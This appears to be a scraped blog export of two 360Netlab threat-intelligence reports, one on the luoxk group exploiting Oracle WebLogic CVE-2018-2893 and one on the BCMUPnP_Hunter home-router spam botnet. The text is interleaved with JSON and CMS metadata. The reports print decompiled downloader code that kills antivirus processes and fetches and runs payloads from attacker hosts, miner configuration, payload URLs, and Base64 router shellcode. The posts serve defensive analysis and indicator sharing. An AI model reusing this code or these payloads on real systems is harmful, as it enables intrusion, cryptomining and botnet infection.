luoxkexp.com xmr.luoxkexp.com www.luoxkexp.com v7.luoxkexp.com luoxk.f3322.net #share same ip, domain keyword, and dns start time Malware Sample MD5 ff03c749b49d7dacdf50ded3c4030e61 f34ec3ff56918c13f454472587868393 e1df71c38cea61397e713d6e580e9051 a8538f6d35362481749d1fd338b6b17d URL http://xmr.luoxkexp.com:8888/xmrig http://xmr.luoxkexp.com:8888/xmr64.exe http://xmr.luoxkexp.com:8888/version.txt http://xmr.luoxkexp.com:8888/jjj.exe http://xmr.luoxkexp.com:8888/7799 http://xmr.luoxkexp.com:8888/2.exe http://xmr.luoxkexp.com:8888/1.sh http://xmr.luoxkexp.com:8888/1.exe http://xmr.luoxkexp.com/ http://xmr.luoxkexp.com/1.exe hxxp://103.99.115.220:8080/JexRemoteTools.jar hxxp://121.18.238.56:8080/aaa.exe hxxp://121.18.238.56:8080/testshell.sh hxxp://121.18.238.56:8080/SYN_145 hxxp://121.18.238.56:8080/a4.sh hxxp://121.18.238.56:8080/SYN_7008 hxxp://121.18.238.56:8080/a5.sh hxxp://121.18.238.56/xmrig hxxp://luoxkexp.com:8099/ver1.txt

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Author: Zhang Zaifeng, yegenshen, RootKiter, JiaYu\n\nOn July 18, in an officially released routine patch update, Oracle fixed CVE-2018-2893, an Oracle WebLogic Server remote code execution vulnerability.\n\nThree days later, at 2018-07-21 11:24:31 GMT+8, we noticed that a malicious campaign that we have been tracking for a long time start to exploit this vulnerability to spread itself. This campaign has been using luoxkexp[.]com as main C2, and we named it luoxk.\n\nThe luoxk group registered the luoxkexp[.]com C2 domain on March 16,2017, and then immediately started to use it. Our DNSmon system was able to pick up this C2 domain the second day and marked it as abnormal.\n\n\n\nSince then, we have witnessed various activities of this group, such as:\n \n* using DSL(Nitol) code to perform ddos attack\n* using Gh0st to execute RAT\n* performing mining by using XMRig, and the wallet address is 48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH\n* Android malicious APK\n* Exploiting RMI service in a worm style\n\nThe earliest DDoS attack we captured in our Botnet Tracking System from this campaign went back to 2017-06-11 and the victim was 116.211.167.112.\n\n```\n2017-06-11 22:39:29 \tdsl4 \tluoxkexp.com \t192.225.225.154\t2015 \tddos \ttcp_flood \t116.211.167.112 \t15010 \ttcp_flood, target=116.211.167.112, port=15010, attack_time=20m, threads=30, type=22\n```\n\n#### CVE-2018-2893 Exploit \n\nOn the 21st, the luoxk group started to target CVE-2018-2893, which was only released for 3 days. The main exploit file is this\n\n```\nhxxp://103.99.115.220:8080/JexRemoteTools.jar #md5 hash 2f7df3baefb1cdcd7e7de38cc964c9dc\n```\n\nBy decompile the jar package, we would see the following key code.\n\n```\npublic JexReverse(String paramString, int paramInt) throws Exception\n {\n Properties localProperties = System.getProperties();\n String str = localProperties.getProperty(\"os.name\");\n try\n {\n if (str.contains(\"Win\"))\n {\n execw(\"taskkill /f /im 360Safe.exe\");\n execw(\"taskkill /f /im 360tray.exe\");\n downloadFile(\"hxxp://121.18.238.56:8080/aaa.exe\", \"59081.exe\");\n \n\n execw(\"cmd /c 59081.exe\");\n exec(\"59081.exe\");\n throw new Exception(\"8888: windows执行下载者命令\"); #windows execute downloader commands\n }\n downloadFile(\"hxxp://121.18.238.56:8080/testshell.sh\", \"gen.sh\");\n execw(\"chmod 777 gen.sh\");\n exec(\"/bin/sh gen.sh\");\n\n }\n catch (Exception localException)\n {\n\n if (localException.toString().indexOf(\"8888\") > -1) {\n throw localException;\n }\n throw new Exception(\"8888:\" + new String(localException.toString()) + \"\\r\\n\");\n }\n }\n```\n\nAnd then download the following files\n\n```\nhxxp://121.18.238.56:8080/aaa.exe #to download xmrig \nhxxp://121.18.238.56:8080/testshell.sh #to download SYN_145, SYN_7008, a4.sh, a5.sh \nhxxp://121.18.238.56:8080/SYN_145 #BillGates ddos malware, C2=121.18.238.56:145 \nhxxp://121.18.238.56:8080/a4.sh #kill process using higher than 10% CPU\nhxxp://121.18.238.56:8080/SYN_7008 #BillGates ddos malware, C2=121.18.238.56:7008 \nhxxp://121.18.238.56:8080/a5.sh #kill process using higher than 10% CPU, download and run xmrig \nhxxp://121.18.238.56/xmrig #xmrig, downloaded and ran by the above a5.sh \nhxxp://luoxkexp.com:8099/ver1.txt #xmrig configureation, detailed as follows\n```\n\nThe mining configuration is from the above ver1.txt, as follows:\n```\nver=1.5;\npool=pool.minexmr.com;\nport=5555;\nuser=48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH+15000;\npass=x;\nalgo=cryptonight;\ndurl=http://121.18.238.56:8080/aaa.exe;\n```\n\n#### C2 Access Trend\n\nThe dns access traffic for luoxkexp[.]com has been going up for the last few days, and reached a peak at above 300k/d\n\n\n\n#### Contact Us\nFeel free to follow us on our [blog](__GHOST_URL__/), [twitter](https://twitter.com/360netlab) or Wechat 360Netlab.\n\n#### IoC\n\n#### IoC\nDomain and IP \n```\n121.18.238.56 AS4837 CHINA UNICOM China169 Backbone\n103.99.115.220 AS21859 Zenlayer Inc\nluoxkexp.com\nxmr.luoxkexp.com\nwww.luoxkexp.com\nv7.luoxkexp.com\nluoxk.f3322.net #share same ip, domain keyword, and dns start time\n```\n\nMalware Sample MD5\n```\nff03c749b49d7dacdf50ded3c4030e61\nf34ec3ff56918c13f454472587868393\ne1df71c38cea61397e713d6e580e9051\na8538f6d35362481749d1fd338b6b17d\n```\n\nURL\n```\nhttp://xmr.luoxkexp.com:8888/xmrig\nhttp://xmr.luoxkexp.com:8888/xmr64.exe\nhttp://xmr.luoxkexp.com:8888/version.txt\nhttp://xmr.luoxkexp.com:8888/jjj.exe\nhttp://xmr.luoxkexp.com:8888/7799\nhttp://xmr.luoxkexp.com:8888/2.exe\nhttp://xmr.luoxkexp.com:8888/1.sh\nhttp://xmr.luoxkexp.com:8888/1.exe\nhttp://xmr.luoxkexp.com/\nhttp://xmr.luoxkexp.com/1.exe\nhxxp://103.99.115.220:8080/JexRemoteTools.jar\nhxxp://121.18.238.56:8080/aaa.exe\nhxxp://121.18.238.56:8080/testshell.sh\nhxxp://121.18.238.56:8080/SYN_145\nhxxp://121.18.238.56:8080/a4.sh\nhxxp://121.18.238.56:8080/SYN_7008\nhxxp://121.18.238.56:8080/a5.sh\nhxxp://121.18.238.56/xmrig\nhxxp://luoxkexp.com:8099/ver1.txt\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

134

post

2018-08-30T03:01:56.000Z

63873b9a8b1c1e0007f52f31

bcmpupnp_hunter-a-100k-botnet-turns-home-routers-to-email-spammers-en

2018-11-22T02:20:17.000Z

public

published

2018-11-07T10:22:51.000Z

BCMPUPnP_Hunter: A 100k Botnet Turns Home Routers to Email Spammers

<!--kg-card-begin: markdown--><p>This article was co-authored by <a href="https://twitter.com/huiwangeth"><em>Hui Wang</em></a> and <a href="https://twitter.com/RooKiter"><em>RootKiter</em></a>.</p> <p>Since September 2018, <a href="https://scan.netlab.360.com/#/dashboard?dstport=5431">360Netlab Scanmon</a> has detected multiple scan <a href="https://twitter.com/liuya0904/status/1044960012072697856">spikes on TCP port 5431</a>, each time the system logged more than 100k scan sources, a pretty large number compared with most other botnets we have covered before.</p> <p>The interaction between the botnet and the potential target takes multiple steps, it starts with <code>tcp port 5431</code> destination scan, then moving on to check target’s <code>UDP port 1900</code> and wait for the target to send the proper vulnerable URL. After getting the proper URL, it takes another 4 packet exchanges for the attacker to figure out where the shellcode's execution start address in memory is so a right exploit payload can be crafted and fed to the target.</p> <p>At the beginning we were not able to capture a valid sample as the honeypot needs to be able to simulate the above scenarios. We had to tweak and customize our honeypot quite a few times, then finally in Oct, we got it right and successfully tricked the botnet to send us the sample (we call it BCMUPnP_Hunter).</p> <p>The botnet has the following characteristics:</p> <ul> <li>The amount of infection is very large, the number of active scanning IP in each scan event is about 100,000;</li> <li>The target of infection is mainly router equipment with BroadCom UPnP feature enabled.</li> <li>Self-built proxy network (tcp-proxy), the proxy network is implemented by the attacker, the proxy currently communicates with well-known mail servers such as Outlook, Hotmail, Yahoo! Mail, etc. We highly suspect that the attacker's intention is to send spams.</li> </ul> <h1 id="scaleassessment">Scale Assessment</h1> <p>The trend of scanning source IP for <code>TCP port 5431</code> in the last 30 days is as follows:<br> <img src="__GHOST_URL__/content/images/2018/11/Snip20181102_3.png" alt="" loading="lazy"></p> <ul> <li>It can be seen that the scan activity picks up every 1-3 days. The number of active scanning IP in each single event is about 100,000</li> <li>All together we have 3.37 million unique scan source IPs. It is a big number, but it is likely that the IPs of the same infected devices just changed over time.</li> <li>The number of potential infections may reach 400,000 according to <a href="https://www.shodan.io/search?query=Server%3A%20Custom%2F1.0%20UPnP%2F1.0%20Proc%2FVer">Shodan</a> based on the search of banner: <code>Server: Custom/1.0 UPnP/1.0 Proc/Ver</code></li> </ul> <p>Geographical distribution for the scanner IPs in the last 7 days (click to enlarge, deeper means more infected devices).<br> <a href="__GHOST_URL__/content/images/2018/11/Snip20181102_10.png" target="_blank"><img src="__GHOST_URL__/content/images/2018/11/Snip20181102_9.png" /></a></p> <h1 id="infecteddeviceinformation">Infected Device Information</h1> <p>We probed the scanners, and 116 different type of infected device information is obtained, the actual infected device type should be more than what displays below:</p> <pre><code>ADB Broadband S.p.A, HomeStation ADSL Router ADB Broadband, ADB ADSL Router ADBB, ADB ADSL Router ALSiTEC, Broadcom ADSL Router ASB, ADSL Router ASB, ChinaNet EPON Router ASB, ChinaTelecom E8C(EPON) Gateway Actiontec, Actiontec GT784WN Actiontec, Verizon ADSL Router BEC Technologies Inc., Broadcom ADSL Router Best IT World India Pvt. Ltd., 150M Wireless-N ADSL2+ Router Best IT World India Pvt. Ltd., iB-WRA300N Billion Electric Co., Ltd., ADSL2+ Firewall Router Billion Electric Co., Ltd., BiPAC 7800NXL Billion, BiPAC 7700N Billion, BiPAC 7700N R2 Binatone Telecommunication, Broadcom LAN Router Broadcom, ADSL Router Broadcom, ADSL2+ 11n WiFi CPE Broadcom, Broadcom Router Broadcom, Broadcom ADSL Router Broadcom, D-Link DSL-2640B Broadcom, D-link ADSL Router Broadcom, DLink ADSL Router ClearAccess, Broadcom ADSL Router Comtrend, AR-5383n Comtrend, Broadcom ADSL Router Comtrend, Comtrend single-chip ADSL router D-Link Corporation., D-Link DSL-2640B D-Link Corporation., D-Link DSL-2641B D-Link Corporation., D-Link DSL-2740B D-Link Corporation., D-Link DSL-2750B D-Link Corporation., D-LinkDSL-2640B D-Link Corporation., D-LinkDSL-2641B D-Link Corporation., D-LinkDSL-2741B D-Link Corporation., DSL-2640B D-Link, ADSL 4*FE 11n Router D-Link, D-Link ADSL Router D-Link, D-Link DSL-2640U D-Link, D-Link DSL-2730B D-Link, D-Link DSL-2730U D-Link, D-Link DSL-2750B D-Link, D-Link DSL-2750U D-Link, D-Link DSL-6751 D-Link, D-Link DSL2750U D-Link, D-Link Router D-Link, D-link ADSL Router D-Link, DVA-G3672B-LTT Networks ADSL Router DARE, Dare router DLink, D-Link DSL-2730B DLink, D-Link VDSL Router DLink, DLink ADSL Router DQ Technology, Inc., ADSL2+ 11n WiFi CPE DQ Technology, Inc., Broadcom ADSL Router DSL, ADSL Router DareGlobal, D-Link ADSL Router Digicom S.p.A., ADSL Wireless Modem/Router Digicom S.p.A., RAW300C-T03 Dlink, D-Link DSL-225 Eltex, Broadcom ADSL Router FiberHome, Broadcom ADSL Router GWD, ChinaTelecom E8C(EPON) Gateway Genew, Broadcom ADSL Router INTEX, W150D INTEX, W300D INTEX, Wireless N 150 ADSL2+ Modem Router INTEX, Wireless N 300 ADSL2+ Modem Router ITI Ltd., ITI Ltd.ADSL2Plus Modem/Router Inteno, Broadcom ADSL Router Intercross, Broadcom ADSL Router IskraTEL, Broadcom ADSL Router Kasda, Broadcom ADSL Router Link-One, Modem Roteador Wireless N ADSL2+ 150 Mbps Linksys, Cisco X1000 Linksys, Cisco X3500 NB, DSL-2740B NetComm Wireless Limited, NetComm ADSL2+ Wireless Router NetComm, NetComm ADSL2+ Wireless Router NetComm, NetComm WiFi Data and VoIP Gateway OPTICOM, DSLink 279 Opticom, DSLink 485 Orcon, Genius QTECH, QTECH Raisecom, Broadcom ADSL Router Ramptel, 300Mbps ADSL Wireless-N Router Router, ADSL2+ Router SCTY, TYKH PON Router Star-Net, Broadcom ADSL Router Starbridge Networks, Broadcom ADSL Router TP-LINK Technologies Co., Ltd, 300Mbps Wireless N ADSL2+ Modem Router TP-LINK Technologies Co., Ltd, 300Mbps Wireless N USB ADSL2+ Modem Router TP-LINK, TP-LINK Wireless ADSL2+ Modem Router TP-LINK, TP-LINK Wireless ADSL2+ Router Technicolor, CenturyLink TR-064 v4.0 Tenda, Tenda ADSL2+ WIFI MODEM Tenda, Tenda ADSL2+ WIFI Router Tenda, Tenda Gateway Tenda/Imex, ADSL2+ WIFI-MODEM WITH 3G/4G USB PORT Tenda/Imex, ADSL2+ WIFI-MODEM WITH EVO SUPPORT UTStarcom Inc., UTStarcom ADSL2+ Modem Router UTStarcom Inc., UTStarcom ADSL2+ Modem/Wireless Router UniqueNet Solutions, WLAN N300 ADSL2+ Modem Router ZTE, Broadcom ADSL Router ZTE, ONU Router ZYXEL, ZyXEL VDSL Router Zhone, Broadcom ADSL Router Zhone, Zhone Wireless Gateway Zoom, Zoom Adsl Modem/Router ZyXEL, CenturyLink UPnP v1.0 ZyXEL, P-660HN-51 ZyXEL, ZyXEL xDSL Router huaqin, HGU210 v3 Router iBall Baton, iBall Baton 150M Wireless-N ADSL2+ Router iiNet Limited, BudiiLite iiNet, BoB2 iiNet, BoBLite </code></pre> <h1 id="botnetworkflow">Botnet Workflow</h1> <p>As mentioned in the beginning, the bot has to go through multiple steps to infect a protentional target, see the following diagram for the workflow, note the Loader is ( <code>109.248.9.17:4369</code>)</p> <p><a href="__GHOST_URL__/content/images/2018/10/bcm_p.png" target="_blank"><img src="__GHOST_URL__/content/images/2018/10/bcm_p0.png" /></a><center>Figure 1: BCMUPnP_Hunter Infection process (Click to enlarge)</center></p> <h1 id="thesample">The Sample</h1> <p>The sample of the botnet consists of two parts, the shellcode and the Main sample, which are described below.</p> <h2 id="shellcode">shellcode</h2> <p>The main function of shellcode is to download the main sample from C2(<code>109.248.9.17:8738</code>) and execute it.</p> <p>The shellcode has a full length of 432 bytes, very neatly organized and written, some proofs below (We did not find similar code using search engines). It seems that the author has profound skills and is not a typical script kid:</p> <ul> <li>Code basic: The code has multiple syscall calls for networks, processes, files, etc.</li> <li>Some details: <code>syscall 0x40404</code>(instead of <code>syscall 0</code>) and multiple inversion operations were used so bad characters (<code>\x00</code>) could be avoided; the stack variables in the code also have different degrees of multiplexing to optimize the runtime stack structure;</li> <li>Code logic: by calling the Loop at various section, the possibility of many failed calls is reasonably avoided, and the validity of shellcode execution is guaranteed.</li> </ul> <p>The complete flow chart is as follows:</p> <p><a href="__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color.png" target="_blank"><img src="__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color_min.png" /></a><center>Figure 2: Shellcode calling graph(Click to enlarge)</center></p> <h2 id="mainsample">Main Sample</h2> <p>The main sample includes BroadCom UPnP vulnerability probe and a proxy access network module, it can parse four instruction codes from C2:</p> <pre><code>Command Code | Length | Function 0x00000000 0x18 The first packet, no practical function 0x01010101 0x4c Search for potential vulnerable target 0x02020202 0x08 Empty current task 0x03030303 0x108 Access Proxy Network </code></pre> <ul> <li><code>0x01010101</code> to enable the port scan task, once the BOT IDs a potential target, the target IP will be reported to the Loader, and then the Loader will complete the subsequent infection process.</li> <li><code>0x03030303</code> is for the proxy service, BOT accesses the address provided in the instruction and reports the access result to the C2. This can generate real economic benefits. Attackers can use this command to build a proxy network, and then profit from doing things such as sending spam, simulating clicks, and so on.</li> </ul> <h1 id="proxynetworkandspam">Proxy Network and Spam</h1> <p>In the instructions we have obtained, BCMUPnP_Hunter is used to proxy traffic to the following servers:</p> <pre><code>104.47.0.33:25 104.47.12.33:25 104.47.124.33:25 104.47.14.33:25 104.47.33.33:25 104.47.48.33:25 104.47.50.33:25 106.10.248.84:25 144.160.159.21:25 188.125.73.87:25 67.195.229.59:25 74.6.137.63:25 74.6.137.64:25 98.137.159.28:25 </code></pre> <p>This table shows what we have dug out from our various data sources for the above IPs:</p> <p><img src="__GHOST_URL__/content/images/2018/11/proxy_target-1.png" alt="" loading="lazy"></p> <p>As can be seen:</p> <ul> <li>These servers are all well-known mail service providers, including Outlook, Hotmail, Yahoo! Mail;</li> <li>For several months, these servers have provided and only provided TCP25 services;</li> <li>In this case, it appears that the attacker is abusing the email service of these servers;</li> </ul> <p>This makes us highly skeptical that the attacker is using the proxy network established by BCMUPnP_Hunter to send spam.</p> <h1 id="contactus">Contact Us</h1> <p>Relevant security oragnizations are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.</p> <p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a>, WeChat 360Netlab or email to netlab[at]360.cn.</p> <h1 id="appendixaboutthebroadcomupnpvulnerability">Appendix: About the BroadCom UPnP Vulnerability</h1> <p>UPnP is the acronym for Universal Plug and play, the Universal plug-in protocol. <a href="https://en.wikipedia.org/wiki/Universal_Plug_and_Play"><em>[1]</em></a> The goal of the agreement is to enable home networks (data sharing, communication and entertainment) and various devices in the corporate network to seamlessly connect with each other and simplify the implementation of related networks. Broadcom UPnP is a concrete implementation of Broadcom's response to the UPnP protocol.</p> <p>As Broadcom is in the industry upstream of the supply chain, the implementation is adopted by major router manufacturers, including Asus, D-link,zyxel,us Robotics,t p-link,netgear and so on.</p> <p>In October 2013, security researchers at security research firm DefenseCode discovered the <a href="http://defensecode.com/whitepapers/From_Zero_To_ZeroDay_Network_Devices_Exploitation.txt">BroadCom UPnP format string vulnerability</a> in the protocol stack . Considering that the vulnerability affects products from several major router vendors, DefenseCode did not disclose their findings until 2017. The code disclosed this time is of a verification nature<a href="https://www.defensecode.com/public/DefenseCode_Broadcom_Security_Advisory.pdf"><em>[2]</em></a> An attacker must complete the necessary vulnerability analysis and optimize the shellcode process on the basis of a publicly available document before it can be of practical power.</p> <h1 id="ioc">IoC</h1> <p>C2</p> <pre><code>109.248.9.17 &quot;Bulgaria/BG&quot; &quot;AS58222 Solar Invest UK LTD&quot; #C2&amp;&amp;Loader </code></pre> <p>Sample MD5</p> <pre><code>9036120904827550bf4436a919d3e503 </code></pre> <p>Shellcode(Base64 encode):</p> <pre><code>AtYgJSQCD6YBAQEMArUgJSQCD6YBAQEMJ6T/yq+k/+CvoP/kJ6X/4CgG//8kAg+rAQEBDCgE//8kAg+hAQEBDAO9uCUnvf/gJA///QHgICckD//9AeAoJygG//8kAhBXAQEBDK+i/9yPtv/cJA8TNwLWICUkD//9AeB4J6ev/+AkDyIip6//4iQPbfinr//kJA8JEaev/+avoP/or6D/7Cel/+AkD//vAeAwJyQCEEoBAQEMJA8vdKev/8okD21wp6//zCQPL3Snr//OJA9tcKev/9AkD2Zzp6//0qeg/9QnpP/KJA/+EgHgKCckAg/HAQEBDCgE//8npf/KJ6b/zygH//+u4P/wJAIPtQEBAQwkDy90p6//1CQPbXCnr//WJA9mc6ev/9inoP/aJ6T/yiQP/hIB4CgnJAIPqAEBAQyvov/cj7X/3CQPEzcC1iAlJ6X/4CQP/98B4DAnKAf//yQCEE8BAQEMr6L/3I+0/9wkDxM3BoD/ryQPEzcagP+gJA8TNwK1ICUnpf/gApQwJSQCD6QBAQEMFoL/piQPEzcSgv/qJA8TNzQP3q00D96t </code></pre> <!--kg-card-end: markdown-->

This article was co-authored by Hui Wang and RootKiter. Since September 2018, 360Netlab Scanmon has detected multiple scan spikes on TCP port 5431, each time the system logged more than 100k scan sources, a pretty large number compared with most other botnets we have covered before. The interaction between the botnet and the potential target takes multiple steps, it starts with tcp port 5431 destination scan, then moving on to check target’s UDP port 1900 and wait for the target to send the proper vulnerable URL. After getting the proper URL, it takes another 4 packet exchanges for the attacker to figure out where the shellcode's execution start address in memory is so a right exploit payload can be crafted and fed to the target. At the beginning we were not able to capture a valid sample as the honeypot needs to be able to simulate the above scenarios. We had to tweak and customize our honeypot quite a few times, then finally in Oct, we got it right and successfully tricked the botnet to send us the sample (we call it BCMUPnP_Hunter). The botnet has the following characteristics: * The amount of infection is very large, the number of active scanning IP in each scan event is about 100,000; * The target of infection is mainly router equipment with BroadCom UPnP feature enabled. * Self-built proxy network (tcp-proxy), the proxy network is implemented by the attacker, the proxy currently communicates with well-known mail servers such as Outlook, Hotmail, Yahoo! Mail, etc. We highly suspect that the attacker's intention is to send spams. Scale Assessment The trend of scanning source IP for TCP port 5431 in the last 30 days is as follows: * It can be seen that the scan activity picks up every 1-3 days. The number of active scanning IP in each single event is about 100,000 * All together we have 3.37 million unique scan source IPs. It is a big number, but it is likely that the IPs of the same infected devices just changed over time. * The number of potential infections may reach 400,000 according to Shodan based on the search of banner: Server: Custom/1.0 UPnP/1.0 Proc/Ver Geographical distribution for the scanner IPs in the last 7 days (click to enlarge, deeper means more infected devices). Infected Device Information We probed the scanners, and 116 different type of infected device information is obtained, the actual infected device type should be more than what displays below: ADB Broadband S.p.A, HomeStation ADSL Router ADB Broadband, ADB ADSL Router ADBB, ADB ADSL Router ALSiTEC, Broadcom ADSL Router ASB, ADSL Router ASB, ChinaNet EPON Router ASB, ChinaTelecom E8C(EPON) Gateway Actiontec, Actiontec GT784WN Actiontec, Verizon ADSL Router BEC Technologies Inc., Broadcom ADSL Router Best IT World India Pvt. Ltd., 150M Wireless-N ADSL2+ Router Best IT World India Pvt. Ltd., iB-WRA300N Billion Electric Co., Ltd., ADSL2+ Firewall Router Billion Electric Co., Ltd., BiPAC 7800NXL Billion, BiPAC 7700N Billion, BiPAC 7700N R2 Binatone Telecommunication, Broadcom LAN Router Broadcom, ADSL Router Broadcom, ADSL2+ 11n WiFi CPE Broadcom, Broadcom Router Broadcom, Broadcom ADSL Router Broadcom, D-Link DSL-2640B Broadcom, D-link ADSL Router Broadcom, DLink ADSL Router ClearAccess, Broadcom ADSL Router Comtrend, AR-5383n Comtrend, Broadcom ADSL Router Comtrend, Comtrend single-chip ADSL router D-Link Corporation., D-Link DSL-2640B D-Link Corporation., D-Link DSL-2641B D-Link Corporation., D-Link DSL-2740B D-Link Corporation., D-Link DSL-2750B D-Link Corporation., D-LinkDSL-2640B D-Link Corporation., D-LinkDSL-2641B D-Link Corporation., D-LinkDSL-2741B D-Link Corporation., DSL-2640B D-Link, ADSL 4*FE 11n Router D-Link, D-Link ADSL Router D-Link, D-Link DSL-2640U D-Link, D-Link DSL-2730B D-Link, D-Link DSL-2730U D-Link, D-Link DSL-2750B D-Link, D-Link DSL-2750U D-Link, D-Link DSL-6751 D-Link, D-Link DSL2750U D-Link, D-Link Router D-Link, D-link ADSL Router D-Link, DVA-G3672B-LTT Networks ADSL Router DARE, Dare router DLink, D-Link DSL-2730B DLink, D-Link VDSL Router DLink, DLink ADSL Router DQ Technology, Inc., ADSL2+ 11n WiFi CPE DQ Technology, Inc., Broadcom ADSL Router DSL, ADSL Router DareGlobal, D-Link ADSL Router Digicom S.p.A., ADSL Wireless Modem/Router Digicom S.p.A., RAW300C-T03 Dlink, D-Link DSL-225 Eltex, Broadcom ADSL Router FiberHome, Broadcom ADSL Router GWD, ChinaTelecom E8C(EPON) Gateway Genew, Broadcom ADSL Router INTEX, W150D INTEX, W300D INTEX, Wireless N 150 ADSL2+ Modem Router INTEX, Wireless N 300 ADSL2+ Modem Router ITI Ltd., ITI Ltd.ADSL2Plus Modem/Router Inteno, Broadcom ADSL Router Intercross, Broadcom ADSL Router IskraTEL, Broadcom ADSL Router Kasda, Broadcom ADSL Router Link-One, Modem Roteador Wireless N ADSL2+ 150 Mbps Linksys, Cisco X1000 Linksys, Cisco X3500 NB, DSL-2740B NetComm Wireless Limited, NetComm ADSL2+ Wireless Router NetComm, NetComm ADSL2+ Wireless Router NetComm, NetComm WiFi Data and VoIP Gateway OPTICOM, DSLink 279 Opticom, DSLink 485 Orcon, Genius QTECH, QTECH Raisecom, Broadcom ADSL Router Ramptel, 300Mbps ADSL Wireless-N Router Router, ADSL2+ Router SCTY, TYKH PON Router Star-Net, Broadcom ADSL Router Starbridge Networks, Broadcom ADSL Router TP-LINK Technologies Co., Ltd, 300Mbps Wireless N ADSL2+ Modem Router TP-LINK Technologies Co., Ltd, 300Mbps Wireless N USB ADSL2+ Modem Router TP-LINK, TP-LINK Wireless ADSL2+ Modem Router TP-LINK, TP-LINK Wireless ADSL2+ Router Technicolor, CenturyLink TR-064 v4.0 Tenda, Tenda ADSL2+ WIFI MODEM Tenda, Tenda ADSL2+ WIFI Router Tenda, Tenda Gateway Tenda/Imex, ADSL2+ WIFI-MODEM WITH 3G/4G USB PORT Tenda/Imex, ADSL2+ WIFI-MODEM WITH EVO SUPPORT UTStarcom Inc., UTStarcom ADSL2+ Modem Router UTStarcom Inc., UTStarcom ADSL2+ Modem/Wireless Router UniqueNet Solutions, WLAN N300 ADSL2+ Modem Router ZTE, Broadcom ADSL Router ZTE, ONU Router ZYXEL, ZyXEL VDSL Router Zhone, Broadcom ADSL Router Zhone, Zhone Wireless Gateway Zoom, Zoom Adsl Modem/Router ZyXEL, CenturyLink UPnP v1.0 ZyXEL, P-660HN-51 ZyXEL, ZyXEL xDSL Router huaqin, HGU210 v3 Router iBall Baton, iBall Baton 150M Wireless-N ADSL2+ Router iiNet Limited, BudiiLite iiNet, BoB2 iiNet, BoBLite Botnet Workflow As mentioned in the beginning, the bot has to go through multiple steps to infect a protentional target, see the following diagram for the workflow, note the Loader is ( 109.248.9.17:4369) Figure 1: BCMUPnP_Hunter Infection process (Click to enlarge) The Sample The sample of the botnet consists of two parts, the shellcode and the Main sample, which are described below. shellcode The main function of shellcode is to download the main sample from C2(109.248.9.17:8738) and execute it. The shellcode has a full length of 432 bytes, very neatly organized and written, some proofs below (We did not find similar code using search engines). It seems that the author has profound skills and is not a typical script kid: * Code basic: The code has multiple syscall calls for networks, processes, files, etc. * Some details: syscall 0x40404(instead of syscall 0) and multiple inversion operations were used so bad characters (\x00) could be avoided; the stack variables in the code also have different degrees of multiplexing to optimize the runtime stack structure; * Code logic: by calling the Loop at various section, the possibility of many failed calls is reasonably avoided, and the validity of shellcode execution is guaranteed. The complete flow chart is as follows: Figure 2: Shellcode calling graph(Click to enlarge) Main Sample The main sample includes BroadCom UPnP vulnerability probe and a proxy access network module, it can parse four instruction codes from C2: Command Code | Length | Function 0x00000000 0x18 The first packet, no practical function 0x01010101 0x4c Search for potential vulnerable target 0x02020202 0x08 Empty current task 0x03030303 0x108 Access Proxy Network * 0x01010101 to enable the port scan task, once the BOT IDs a potential target, the target IP will be reported to the Loader, and then the Loader will complete the subsequent infection process. * 0x03030303 is for the proxy service, BOT accesses the address provided in the instruction and reports the access result to the C2. This can generate real economic benefits. Attackers can use this command to build a proxy network, and then profit from doing things such as sending spam, simulating clicks, and so on. Proxy Network and Spam In the instructions we have obtained, BCMUPnP_Hunter is used to proxy traffic to the following servers: 104.47.0.33:25 104.47.12.33:25 104.47.124.33:25 104.47.14.33:25 104.47.33.33:25 104.47.48.33:25 104.47.50.33:25 106.10.248.84:25 144.160.159.21:25 188.125.73.87:25 67.195.229.59:25 74.6.137.63:25 74.6.137.64:25 98.137.159.28:25 This table shows what we have dug out from our various data sources for the above IPs: As can be seen: * These servers are all well-known mail service providers, including Outlook, Hotmail, Yahoo! Mail; * For several months, these servers have provided and only provided TCP25 services; * In this case, it appears that the attacker is abusing the email service of these servers; This makes us highly skeptical that the attacker is using the proxy network established by BCMUPnP_Hunter to send spam. Contact Us Relevant security oragnizations are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses. Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab[at]360.cn. Appendix: About the BroadCom UPnP Vulnerability UPnP is the acronym for Universal Plug and play, the Universal plug-in protocol. [1] The goal of the agreement is to enable home networks (data sharing, communication and entertainment) and various devices in the corporate network to seamlessly connect with each other and simplify the implementation of related networks. Broadcom UPnP is a concrete implementation of Broadcom's response to the UPnP protocol. As Broadcom is in the industry upstream of the supply chain, the implementation is adopted by major router manufacturers, including Asus, D-link,zyxel,us Robotics,t p-link,netgear and so on. In October 2013, security researchers at security research firm DefenseCode discovered the BroadCom UPnP format string vulnerability in the protocol stack . Considering that the vulnerability affects products from several major router vendors, DefenseCode did not disclose their findings until 2017. The code disclosed this time is of a verification nature[2] An attacker must complete the necessary vulnerability analysis and optimize the shellcode process on the basis of a publicly available document before it can be of practical power. IoC C2 109.248.9.17 "Bulgaria/BG" "AS58222 Solar Invest UK LTD" #C2&&Loader Sample MD5 9036120904827550bf4436a919d3e503 Shellcode(Base64 encode): 